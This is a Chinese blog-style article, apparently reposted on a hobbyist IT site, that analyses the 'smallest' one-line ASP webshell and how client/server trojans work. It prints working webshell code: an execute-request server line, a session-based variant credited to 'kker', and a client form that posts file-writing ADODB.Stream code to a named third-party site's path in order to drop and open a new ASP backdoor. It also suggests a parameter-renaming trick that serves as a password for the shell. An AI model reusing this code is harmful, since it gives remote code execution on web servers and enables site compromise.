电脑爱好者,提供IT资讯信息及各类编程知识文章介绍,欢迎大家来本站学习电脑知识。 最近更新 | 联系我们 RSS订阅本站最新文章
电脑爱好者
站内搜索: 
当前位置:首页>> Asp>>从蓝屏最小的asp木马来看C/S木马的编写:

从蓝屏最小的asp木马来看C/S木马的编写

来源:www.cncfan.com | 2006-1-7 | (有2044人读过)

这几天狂补asp,昨天休息,无聊就把自己的东西总结了一下,突然想到了我们经常使用的C/S型的webshell,
于是乎就胡乱分析了一下!呵呵!
众所周知,蓝屏的最小的asp木马,服务端仅一句话:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> <%execute request("Neeao")%>

可以说是C/S型木马的极品!再看客户端:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> <form action=http://www.fjmeec.com/manage/Databackup/DataShop.asp method=post>
<textarea name=Neeao cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("Neeao.asp"),2
lP.Close
set lP=nothing
response.redirect "Neeao.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>这填马的代码</textarea><BR><center><br>
<input type=submit value=提交>

也不是很大!
下面我们来分析一下他们的代码,先从客户端的开始吧
其实很简单,就是将两个文本框的内容提交到服务端!
看服务端:
execute语句,执行一句或多句asp语句
request对象,获得提交来的数据。
这样这个C/S型木马的执行如下:
先将客户端的两个文本框的数据提交给服务端,
服务端先获得第一个表单的内容,并执行获得的语句,
再由 _code cellSpacing=1 cellPadding=0 width="90%" border=0> lP.writetext request("p")
获得第二个文本框的内容,
然后由 _code cellSpacing=1 cellPadding=0 width="90%" border=0> lP.SaveToFile server.mappath("dbbak.asp"),2

语句将文本框的内容写入当前目录下为Neeao.asp.
写入成功后再用 _code cellSpacing=1 cellPadding=0 width="90%" border=0> response.redirect "Neeao.asp"

语句跳转到Neeao.asp执行。结构可谓简单的很。

从这个分析过程中,想到了一种给这个木马加个密码的方法:
我们从表单的提交过程中可以知道,客户端到服务端通过Neeao这个值来传递数据的,
那我们来修改这个值的名字是否可以达到加密的效果呢!
看了kker的C/S木马,服务端如下:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> <!了><object id=fs RUNAT=SERVER classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'></object><!了>
<%if request("kker")<>"" then Session("b")=request("kker")
if Session("b")<>"" then execute Session("b")%>

其中客户端提交的一段代码为:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> ......
<form name="Kker" method="POST" action="<%=url%>" onsubmit="return(ccc());">
<p align="center">
<textarea style="display:none" name=<%=pczz%> rows="20" cols="100">
on error resume next
Session.TimeOut=1440
......
可见其就是用的这种方法!

总的来说,C/S型的webshell使用的方法就是通过客户端提交信息,利用asp的request方法来获取客户端的数据然后执行,
呵呵,怎么觉的象是废话呢!
声明:本文没什么技术含量,仅算是自己学习的一个总结吧!

Asp热门文章排行
网站赞助商
购买此位置

 

关于我们 | 网站地图 | 文档一览 | 友情链接| 联系我们

Copyright © 2003-2024 电脑爱好者 版权所有 备案号:鲁ICP备09059398号